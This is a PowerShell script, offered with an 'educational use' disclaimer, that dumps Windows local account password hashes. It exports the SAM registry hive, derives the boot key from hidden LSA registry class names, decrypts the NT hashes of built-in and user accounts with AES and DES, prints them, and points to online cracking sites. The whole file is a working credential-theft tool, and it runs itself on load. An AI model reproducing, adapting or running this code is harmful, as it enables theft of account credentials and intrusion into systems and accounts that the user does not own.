# --- Author: zetod1ce (github.com/ztd38f) --- # # --- DISCLAIMER: Provided as-is, without warranties. For educational and testing use only in controlled environments. Use at your own risk. --- # function NTLMHashExtractor { cls $ErrorActionPreference = "Stop" Add-Type 'using System;using System.Runtime.InteropServices;using System.Text;public class RegUtils{[DllImport("ntdll.dll")]public static extern int RtlAdjustPrivilege(ulong a,bool b,bool c,ref bool d);[DllImport("advapi32.dll",CharSet=CharSet.Unicode)]public static extern int RegOpenKeyEx(IntPtr hKey,string lpSubKey,uint ulOptions,int samDesired,out IntPtr phkResult);[DllImport("advapi32.dll")]public static extern int RegQueryInfoKey(IntPtr hKey,StringBuilder c,ref uint l,IntPtr _,IntPtr __,IntPtr ___,IntPtr ____,IntPtr _____,IntPtr ______,IntPtr _______,IntPtr ________,IntPtr _________);[DllImport("advapi32.dll")]public static extern int RegCloseKey(IntPtr hKey);public static string GetClass(string subKey){bool d=false;RtlAdjustPrivilege(17,true,false,ref d);IntPtr hklm=new IntPtr(unchecked((int)0x80000002));IntPtr hKey;if(RegOpenKeyEx(hklm,subKey,0x4000,0x20019,out hKey)==0){StringBuilder sb=new StringBuilder(1024);uint len=1024;if(RegQueryInfoKey(hKey,sb,ref len,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero)==0){RegCloseKey(hKey);return sb.ToString().Substring(0,(int)len);}RegCloseKey(hKey);}return null;}}' function Get-Cls { param([string]$path) $subKey = $path -replace '^HKLM:\\', '' return [RegUtils]::GetClass($subKey) } function Convert-HexStringToByteArray {param([string]$HexString)$HexString = $HexString -replace '[^0-9A-Fa-f]', ''; if ($HexString.Length % 2) {$HexString = "0$HexString"}[byte[]]$Bytes = @(); for ($i = 0; $i -lt $HexString.Length; $i += 2) {$Bytes += [Convert]::ToByte($HexString.Substring($i, 2), 16)}return $Bytes} class BootKeyExtractor { [byte[]]$Boot_key [hashtable]$HashData BootKeyExtractor([string]$Combined_LSA_key, [string]$LSA_key, [string]$Boot_key) { $this.Boot_key = Convert-HexStringToByteArray $Boot_key $this.HashData = @{} } [void]LoadRegistryData([string]$FilePath) { $content = gc $FilePath -Raw $accountMatches = [regex]::Matches($content, 'HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\([0-9A-F]{8})') $accountMatches = [regex]::Matches($content, 'HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\([0-9A-F]{8})') foreach ($accountMatch in $accountMatches) { $rid = [Convert]::ToInt32($accountMatch.Groups[1].Value, 16) $vMatch = [regex]::Match($content, "\\$($accountMatch.Groups[1].Value)[\s\S]*?""V""=hex:([\s\S]*?)(?=""\w|$)") if ($vMatch.Success) { $vValue = $vMatch.Groups[1].Value -replace '\\\r\n\s*', '' -replace ',', '' $vBytes = Convert-HexStringToByteArray $vValue $pattern = [byte[]]@(0x02, 0x00, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00) $patternIndex = -1 for ($i = 0; $i -lt ($vBytes.Length - $pattern.Length); $i++) { if (($vBytes[$i..($i + 7)] -join '') -eq ($pattern -join '')) { $patternIndex = $i break } } if ($patternIndex -ne -1) { $ivStart = $patternIndex + 8 $iv = $vBytes[$ivStart..($ivStart + 15)] $hashDataStart = $ivStart + 16 $encryptedData = $vBytes[$hashDataStart..($hashDataStart + 31)] if (($encryptedData | ? { $_ -ne 0 }).Count -gt 0) { $this.HashData[$rid] = @{IV = $iv; EncryptedData = $encryptedData} } } } } } [byte[][]]ComputeUserKeys([int]$RID) { $RIDBytes = [BitConverter]::GetBytes($RID) $k = @( @($RIDBytes[0], $RIDBytes[1], $RIDBytes[2], $RIDBytes[3], $RIDBytes[0], $RIDBytes[1], $RIDBytes[2]), @($RIDBytes[3], $RIDBytes[0], $RIDBytes[1], $RIDBytes[2], $RIDBytes[3], $RIDBytes[0], $RIDBytes[1]) ) for ($i = 0; $i -lt 2; $i++) { $key = @( [byte](($k[$i][0] -shr 1) -band 0xFF), [byte]((($k[$i][0] -band 0x01) -shl 6) -bor ($k[$i][1] -shr 2)), [byte]((($k[$i][1] -band 0x03) -shl 5) -bor ($k[$i][2] -shr 3)), [byte]((($k[$i][2] -band 0x07) -shl 4) -bor ($k[$i][3] -shr 4)), [byte]((($k[$i][3] -band 0x0F) -shl 3) -bor ($k[$i][4] -shr 5)), [byte]((($k[$i][4] -band 0x1F) -shl 2) -bor ($k[$i][5] -shr 6)), [byte]((($k[$i][5] -band 0x3F) -shl 1) -bor ($k[$i][6] -shr 7)), [byte]($k[$i][6] -band 0x7F) ) for ($j = 0; $j -lt 8; $j++) {$key[$j] = [byte](($key[$j] -shl 1) -band 0xFE)} $k[$i] = $key } return $k } [void]DecryptUserHashes() { foreach ($RID in @(0x1F4, 0x1F5, 0x1F7, 0x1F8, 0x3E8)) { if (!$this.HashData.ContainsKey($RID)) {continue} $ridData = $this.HashData[$RID] if ($null -eq $ridData.IV -or $ridData.IV.Length -ne 16 -or $null -eq $ridData.EncryptedData -or $ridData.EncryptedData.Length -ne 32) {continue} $aes = [System.Security.Cryptography.Aes]::Create() try { $aes.KeySize = 128 $aes.Key = $this.Boot_key $aes.IV = $ridData.IV $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::None $DecryptedNTHash = $aes.CreateDecryptor().TransformFinalBlock($ridData.EncryptedData, 0, 32) if ($DecryptedNTHash.Length -gt 0) { $UserKeys = $this.ComputeUserKeys($RID) if (!$UserKeys[0] -or !$UserKeys[1]) { continue } $DES1 = [System.Security.Cryptography.DES]::Create() $DES2 = [System.Security.Cryptography.DES]::Create() try { $DES1.Mode = $DES2.Mode = [System.Security.Cryptography.CipherMode]::ECB $DES1.Padding = $DES2.Padding = [System.Security.Cryptography.PaddingMode]::None $DES1.Key = Add-DESKeyParity $UserKeys[0] $DES2.Key = Add-DESKeyParity $UserKeys[1] $Part1 = $DES1.CreateDecryptor().TransformFinalBlock($DecryptedNTHash[0..7], 0, 8) $Part2 = $DES2.CreateDecryptor().TransformFinalBlock($DecryptedNTHash[8..15], 0, 8) Write-Host "`n[+] RID $([Convert]::ToString($RID, 16)) Hash: $([BitConverter]::ToString($Part1 + $Part2) -replace '-')" } finally {$DES1.Dispose(); $DES2.Dispose()} } } finally {$aes.Dispose()} } } } function Add-DESKeyParity {param([byte[]]$Key)[byte[]]$KeyWithParity = [byte[]]::new(8); [Array]::Copy($Key, $KeyWithParity, 8); for ($i = 0; $i -lt 8; $i++) {$KeyWithParity[$i] = if ((0..6 | % {($KeyWithParity[$i] -band (1 -shl $_)) -ne 0} | Measure-Object).Count % 2 -eq 0) {$KeyWithParity[$i] -bor 1}else {$KeyWithParity[$i] -band 0xFE}}; return $KeyWithParity} function Generate-Keys { param ([string]$SAMPath) $JD = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\JD' $Skew1 = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\Skew1' $GBG = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\GBG' $Data = Get-Cls 'SYSTEM\CurrentControlSet\Control\Lsa\Data' $Combined_LSA_key = "$JD$Skew1$GBG$Data" if (!$Combined_LSA_key -or $Combined_LSA_key.Length -ne 32) { throw "Failed to extract SYSTEM LSA key. The script MUST be executed as SYSTEM or with SeBackupPrivilege." } $combined_bytes = Convert-HexStringToByteArray $Combined_LSA_key $lsa_bytes = [byte[]]::new(16) $scrambled = @(8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7) for ($i = 0; $i -lt 16; $i++) {$lsa_bytes[$i] = $combined_bytes[$scrambled[$i]]} $LSA_key = [BitConverter]::ToString($lsa_bytes) -replace '-' $samContent = gc $SAMPath -Raw $fMatch = [regex]::Match($samContent, '"F"=hex:([\s\S]+?)(?=\r?\n"|\z)') if ($fMatch.Success) { $f_bytes = Convert-HexStringToByteArray ($fMatch.Groups[1].Value -replace '\\\r\n\s*', '' -replace ',', '') if ($f_bytes.Length -lt 168) { throw "Invalid SAM F structure length: $($f_bytes.Length)" } $iv = $f_bytes[120..135] $encrypted_data = $f_bytes[136..167] $aes = [System.Security.Cryptography.Aes]::Create() try { $aes.KeySize = 128 $aes.Key = $lsa_bytes $aes.IV = $iv $boot_bytes = $aes.CreateDecryptor().TransformFinalBlock($encrypted_data, 0, $encrypted_data.Length) $Boot_key = [BitConverter]::ToString($boot_bytes[0..15]) -replace '-' } finally {$aes.Dispose()} } if (!$Boot_key -or $Boot_key.Length -lt 32) { throw "Boot_key extraction failed (invalid SAM F block or parsing error)" } return @{Combined_LSA_key = $Combined_LSA_key.ToUpper(); LSA_key = $LSA_key; Boot_key = $Boot_key} } try { $SAMPath = Join-Path $env:TEMP "SAM_export_$([guid]::NewGuid().Guid.Substring(0,8)).reg" Write-Host "[~] Exporting SAM Registry..." -ForegroundColor Cyan $process = start "reg.exe" -ArgumentList "export HKLM\SAM `"$SAMPath`" /y" -Wait -NoNewWindow -PassThru if ($process.ExitCode -ne 0 -or !(Test-Path $SAMPath)) { throw "Failed to export SAM registry. Are you running as Administrator?" } $keys = Generate-Keys -SAMPath $SAMPath $Extractor = [BootKeyExtractor]::new($keys.Combined_LSA_key, $keys.LSA_key, $keys.Boot_key) $Extractor.LoadRegistryData($SAMPath) $Extractor.DecryptUserHashes() rm -Path $SAMPath -Force -ErrorAction SilentlyContinue Write-Host "`n[!] Decrypt Hashes: https://hashes.com/en/decrypt" Write-Host "[!] Decrypt Hashes: https://crackstation.net" Write-Host "[!] Decrypt Hashes: https://md5decrypt.net/en/Ntlm`n" } catch {Write-Error "Error: $($_.Exception.Message)"} }; NTLMHashExtractor